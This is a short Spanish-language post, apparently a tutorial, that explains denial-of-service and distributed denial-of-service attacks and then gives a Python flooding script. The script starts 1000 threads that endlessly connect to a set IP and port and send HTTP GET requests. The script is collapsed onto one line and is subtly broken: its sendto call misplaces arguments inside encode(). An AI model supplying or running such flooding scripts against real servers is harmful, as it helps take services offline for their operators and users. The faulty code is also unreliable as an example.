Un ataque DOS, en seguridad informática significa “Ataque de denegación de servicio”, y se basan en saturar el ancho de banda de un equipo a base de hacer miles de peticiones al mismo tiempo.
Es script que voy a mostrar a continuación, pasaría a ser un ataque DOS si se ejecuta en una sola máquina. Los ataques DOS son más fáciles de detener y normalmente los proveedores de hosting están prevenidos para ellos y simplemente bloquean la IP desde la que se está lanzando el ataque.
En cambio, si el ataque se lanza desde varios ordenadores a la vez, estaríamos hablando de un ataque DDOS, éstos son más difíciles de detener, pues son varios los ordenadores que realizan llamadas masivas y constantes al servidor. Cada uno de ellos con una dirección IP determinada y situados en diferentes lugares del mundo.
import socket import threading ip = '127.0.0.1' port = 8080 def attack(): while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.sendto(('GET /' + ip + ' HTTP/1.1\r\n').encode('ascii', (ip, port))) # crea 1000 hilos que llaman al mismo endpoint infinitamente for _ in range(1000): thread = threading.Thread(target=attack) thread.start()